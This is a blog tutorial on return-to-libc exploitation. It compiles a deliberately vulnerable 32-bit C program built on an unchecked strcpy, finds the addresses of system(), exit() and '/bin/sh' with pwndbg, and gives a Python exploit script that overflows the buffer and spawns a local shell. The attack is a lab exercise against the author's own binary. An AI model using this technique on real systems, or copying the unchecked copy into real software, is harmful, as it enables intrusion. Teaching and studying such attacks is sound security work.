Friday, May 22, 2020

Continuing Stack Based Buffer Overflow - Return to LibC

In the previous post, we compiled the program with the "-z execstack" option. This allowed us to execute shellcode on the stack. However, with non-executable stacks, we are unable to execute code on the stack.

Here we have a simple program similar to the last one.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <string.h>

/* 
To compile as 32 bit application
gcc -m32 -z noexecstack -o retLibC retLibC.c -mpreferred-stack-boundary=2
*/

int main(int argc, char *argv[])
    {
        // Define the buffer of 8 bytes
        char userInput[8];

        /* copy the contents of the first argument into user input.
           Notice the problem already? userInput is 8 bytes but we 
           did not limit the number of bytes the users could input.
           Like the previous post with gets() strcpy() is not checking 
           the user input. Thus the user can enter greater than 8 bytes.
        */
        strcpy(userInput, argv[1]);

        // Print the user input back to the screen.
        printf("you entered %s \n", userInput);
        return 0;
    }

We then compile it as follow:

1
gcc -m32 -z noexecstack -o retLibC retLibC.c -mpreferred-stack-boundary=2

When we execute the program we get:

1
2
3
┌─[securitynik@securitynik]─[~]
└──╼ $./retLibC Welcome
You entered Welcome

If we entered more than the the buffer is configured for, we see we get a segmentation fault.

1
2
3
4
┌─[securitynik@securitynik]─[~]
└──╼ $./retLibC "Welcome to SecurityNik World!"
You entered Welcome to SecurityNik World!
Segmentation fault (core dumped)

If we look at the dmesg file, we see below confirming the crash and the address of the Instruction Pointer (IP)

1
2
3
4
5
─[securitynik@securitynik]─[~]
└──╼ $sudo dmesg --human --ctime

[Fri May 15 02:05:05 2020] retLibC[7309]: segfault at 4e797469 ip 0>
[Fri May 15 02:05:05 2020] Code: Bad RIP value.

Similar to the previous post, let's use a pattern again to find where the fault occurs.

First we create the pattern while printing it to the screen. Secondly, we send the pattern to a file to be used as input.

1
2
3
4
5
┌─[✗]─[securitynik@securitynik]─[~]
└──╼ $msf-pattern_create --length 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
┌─[securitynik@securitynik]─[~]
└──╼ $msf-pattern_create --length 100 > libc.pattern

Now that we have a pattern, let's load up GDB.

1
2
3
4
5
6
┌─[✗]─[securitynik@securitynik]─[~]
└──╼ $gdb ./retLibC -q
pwndbg: loaded 187 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./retLibC...
(No debugging symbols found in ./retLibC)

Let's feed the libc.pattern file as input to the program in GDB.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pwndbg> run $(cat libc.pattern)
Starting program: /home/securitynik/retLibC $(cat libc.pattern)
You entered Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x61413561 in ?? ()

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────[ REGISTERS ]───────────────────────────────────────
 EAX  0x0
 EBX  0x33614132 ('2Aa3')
 ECX  0x0
 EDX  0x56557018 ◂— 0x0
 EDI  0xf7fac000 ◂— 0x1dfd6c
 ESI  0xf7fac000 ◂— 0x1dfd6c
 EBP  0x41346141 ('Aa4A')
 ESP  0xffffd200 ◂— '6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
 EIP  0x61413561 ('a5Aa')
────────────────────────────────────────[ DISASM ]─────────────────────────────────────────

Invalid address 0x61413561



─────────────────────────────────────────[ STACK ]─────────────────────────────────────────
00:0000 esp  0xffffd200 ◂— '6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
01:0004      0xffffd204 ◂— 'Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
02:0008      0xffffd208 ◂— 'a9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
03:000c│      0xffffd20c ◂— '0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
04:0010      0xffffd210 ◂— 'Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
05:0014      0xffffd214 ◂— 'b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
06:0018      0xffffd218 ◂— '4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
07:001c│      0xffffd21c ◂— 'Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
───────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────
  f 0 61413561
   f 1 37614136
   f 2 41386141
   f 3 62413961
   f 4 31624130
   f 5 41326241
   f 6 62413362
   f 7 35624134
   f 8 41366241
   f 9 62413762
   f 10 39624138
───────────────────────────────────────────────────────────────────────────────────────────
pwndbg>

From above, we see

1
EIP  0x61413561 ('a5Aa')

We will use msf-pattern_offset to find where the crash occurred. However, while we are here, let's look for a few things.
1. Location of the system() function
2. Location of the exit() function
3. Location of a shell. We can try to locate /bin/sh or /bin/bash

Let's find the system() function first. This can be achieved by using the print commands

1
2
pwndbg> print system
$1 = {<text variable, no debug info>} 0xf7e105f0 <system>

Using a similar method, let's find the exit() function

1
2
pwndbg> print exit
$2 = {<text variable, no debug info>} 0xf7e03360 <exit>

We now have 2 out of our 3 things needed. For the shell, we may have that information in the environment variable. Let's see if we can find it there.

Let's set a break at main() and verify its existence using info break.

1
2
3
4
5
pwndbg> break main
Breakpoint 1 at 0x565561ad
pwndbg> info break
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x565561ad <main+4>

Let's run the program again.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
pwndbg> run Test
Starting program: /home/securitynik/retLibC Test

Breakpoint 1, 0x565561ad in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────[ REGISTERS ]───────────────────────────────────────
 EAX  0xf7fae808 (environ) —▸ 0xffffd300 —▸ 0xffffd49c ◂— 'SHELL=/bin/bash'
 EBX  0x0
 ECX  0x87198fdb
 EDX  0xffffd284 ◂— 0x0
 EDI  0xf7fac000 ◂— 0x1dfd6c
 ESI  0xf7fac000 ◂— 0x1dfd6c
 EBP  0xffffd258 ◂— 0x0
 ESP  0xffffd254 ◂— 0x0
 EIP  0x565561ad (main+4) ◂— sub    esp, 8
────────────────────────────────────────[ DISASM ]─────────────────────────────────────────
  0x565561ad <main+4>     sub    esp, 8
   0x565561b0 <main+7>     call   __x86.get_pc_thunk.bx <0x565560b0>

   0x565561b5 <main+12>    add    ebx, 0x2e4b
   0x565561bb <main+18>    mov    eax, dword ptr [ebp + 0xc]
   0x565561be <main+21>    add    eax, 4
   0x565561c1 <main+24>    mov    eax, dword ptr [eax]
   0x565561c3 <main+26>    push   eax
   0x565561c4 <main+27>    lea    eax, [ebp - 0xc]
   0x565561c7 <main+30>    push   eax
   0x565561c8 <main+31>    call   strcpy@plt <0x56556040>

   0x565561cd <main+36>    add    esp, 8
─────────────────────────────────────────[ STACK ]─────────────────────────────────────────
00:0000 esp  0xffffd254 ◂— 0x0
... 
02:0008      0xffffd25c —▸ 0xf7deaef1 (__libc_start_main+241) ◂— add    esp, 0x10
03:000c│      0xffffd260 ◂— 0x2
04:0010      0xffffd264 —▸ 0xffffd2f4 —▸ 0xffffd47d ◂— '/home/securitynik/retLibC'
05:0014      0xffffd268 —▸ 0xffffd300 —▸ 0xffffd49c ◂— 'SHELL=/bin/bash'
06:0018      0xffffd26c —▸ 0xffffd284 ◂— 0x0
07:001c│      0xffffd270 ◂— 0x1
───────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────
  f 0 565561ad main+4
   f 1 f7deaef1 __libc_start_main+241
───────────────────────────────────────────────────────────────────────────────────────────
pwndbg>

If we look closely at the above, we see

1
05:0014      0xffffd268 —▸ 0xffffd300 —▸ 0xffffd49c ◂— 'SHELL=/bin/bash'

This tells us that 'SHELL=/bin/bash' can be found at 0xffffd49c. However, we don't need the entire string, we just need the part that has /bin/bash. To do this lets add 6 bytes to 0xffffd49c. These 6 bytes represents "SHELL=". Let's use GDB to confirm we are correct by looking at 1 String starting at address 0xffffd49c+6.

1
2
pwndbg> x/1s 0xffffd49c+6
0xffffd4a2: "/bin/bash"

Looks good. Let's now find /bin/sh  via the long way first.

If we look at the process memory mapping, we see

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> info proc mappings
process 7451

Mapped address spaces:
 Start Addr   End Addr       Size     Offset objfile
 0x56555000 0x56556000     0x1000        0x0 /home/securitynik/retLibC
 0x56556000 0x56557000     0x1000     0x1000 /home/securitynik/retLibC
 0x56557000 0x56558000     0x1000     0x2000 /home/securitynik/retLibC
 0x56558000 0x56559000     0x1000     0x2000 /home/securitynik/retLibC
 0x56559000 0x5655a000     0x1000     0x3000 /home/securitynik/retLibC
 0xf7dcc000 0xf7de9000    0x1d000        0x0 /usr/lib32/libc-2.30.so
 0xf7de9000 0xf7f3b000   0x152000    0x1d000 /usr/lib32/libc-2.30.so
 0xf7f3b000 0xf7faa000    0x6f000   0x16f000 /usr/lib32/libc-2.30.so
 0xf7faa000 0xf7fac000     0x2000   0x1dd000 /usr/lib32/libc-2.30.so
 0xf7fac000 0xf7fae000     0x2000   0x1df000 /usr/lib32/libc-2.30.so
 0xf7fae000 0xf7fb0000     0x2000        0x0
 0xf7fce000 0xf7fd0000     0x2000        0x0
 0xf7fd0000 0xf7fd3000     0x3000        0x0 [vvar]
 0xf7fd3000 0xf7fd4000     0x1000        0x0 [vdso]
 0xf7fd4000 0xf7fd5000     0x1000        0x0 /usr/lib32/ld-2.30.so
 0xf7fd5000 0xf7ff1000    0x1c000     0x1000 /usr/lib32/ld-2.30.so
 0xf7ff1000 0xf7ffc000     0xb000    0x1d000 /usr/lib32/ld-2.30.so
 0xf7ffc000 0xf7ffd000     0x1000    0x27000 /usr/lib32/ld-2.30.so
 0xf7ffd000 0xf7ffe000     0x1000    0x28000 /usr/lib32/ld-2.30.so
 0xfffdd000 0xffffe000    0x21000        0x0 [stack]

Let's search the memory space of /usr/lib32/libc-2.30.so for /bin/sh. That starting address is 0xf7dcc000 with ending address 0xf7fae000. Running the find command.

1
2
3
pwndbg> find 0xf7dcc000,0xf7fae000,"/bin/sh"
0xf7f54406
1 pattern found.

Above we see GDB reports 1 match found. Let's confirm this match by looking at the string at that address.

1
2
pwndbg> x/1s 0xf7f54406
0xf7f54406: "/bin/sh"

There it is, we found the /bin/sh string.

The easier way to find that string since I am using "pwndbg", is to use the search command.

1
2
pwndbg> search "/bin/sh"
libc-2.30.so    0xf7f54406 '/bin/sh'

At this point, we have the 3 things we mentioned above. The location of system(), exit() and the shell.

Let's use /bin/sh in our example.

Here our "exploit" script.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python

import struct

if __name__ == '__main__':
    # Create a file to store payload which will be used as input to sample program.

    input_fp = open('input-libC', 'w')

    '''
    Specify the location where the system() function can be found.
    Convert the address to little endian
    '''
    system_location = struct.pack('<L', 0xf7e105f0)

    '''
    Specify the location where the exit() function can be found.
    Convert the address to little endian
    '''

    exit_location = struct.pack('<L', 0xf7e03360)

    '''
    Specify the location where the exit() function can be found.
    Convert the address to little endian
    '''

    bin_sh_location = struct.pack('<L', 0xf7f54406)

    # put it all together. The 16 As overflow the buffer
    ret_to_libC = "A"*16 + system_location + exit_location + bin_sh_location
    print(ret_to_libC)

When we run this script, we see

1
2
3
┌─[securitynik@securitynik]─[~]
└──╼ $./exploit-retLibC.py
AAAAAAAAAAAAAAAA���`3��D��

Let's now test in GDB, starting with deleting the previously added breakpoint.

1
2
3
pwndbg> del breakpoints
pwndbg> info breakpoints
No breakpoints or watchpoints.

Using the exploit script as input to the program.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
pwndbg> run $(python exploit-retLibC.py)
Starting program: /home/securitynik/retLibC $(python exploit-retLibC.py)
You entered AAAAAAAAAAAAAAAA���`3��D��
[Attaching after process 7559 vfork to child process 7561]
[New inferior 2 (process 7561)]
[Detaching vfork parent process 7559 after child exec]
[Inferior 1 (process 7559) detached]
process 7561 is executing new program: /usr/bin/dash
[Attaching after process 7561 fork to child process 7562]
[New inferior 3 (process 7562)]
[Detaching after fork from parent process 7561]
[Inferior 2 (process 7561) detached]
process 7562 is executing new program: /usr/bin/dash
$

Looks like it works within GDB. Let's see if it also works outside of GDB.

Type quit to exit GDB.

1
pwndbg> quit

Running the script at the command prompt

1
2
3
4
5
6
7
┌─[securitynik@securitynik]─[~]
└──╼ $./retLibC $(python exploit-retLibC.py)
You entered AAAAAAAAAAAAAAAA���`3��D��
$ id --user
1000
$ uname --nodename --machine
securitynik x86_64

Above, we see we got a shell via "/bin/sh"

That's it. See you in the next post.

References:
https://css.csail.mit.edu/6.858/2014/readings/return-to-libc.pdf
https://www.exploit-db.com/docs/english/28553-linux-classic-return-to-libc-&-return-to-libc-chaining-tutorial.pdf
phrack.org/issues/58/4.html
https://www.youtube.com/watch?v=LBo56Xyowvk
https://www.youtube.com/watch?v=m17mV24TgwY
https://outflux.net/blog/archives/2014/01/27/fstack-protector-strong/
https://github.com/pwndbg/pwndbg

No comments:

Post a Comment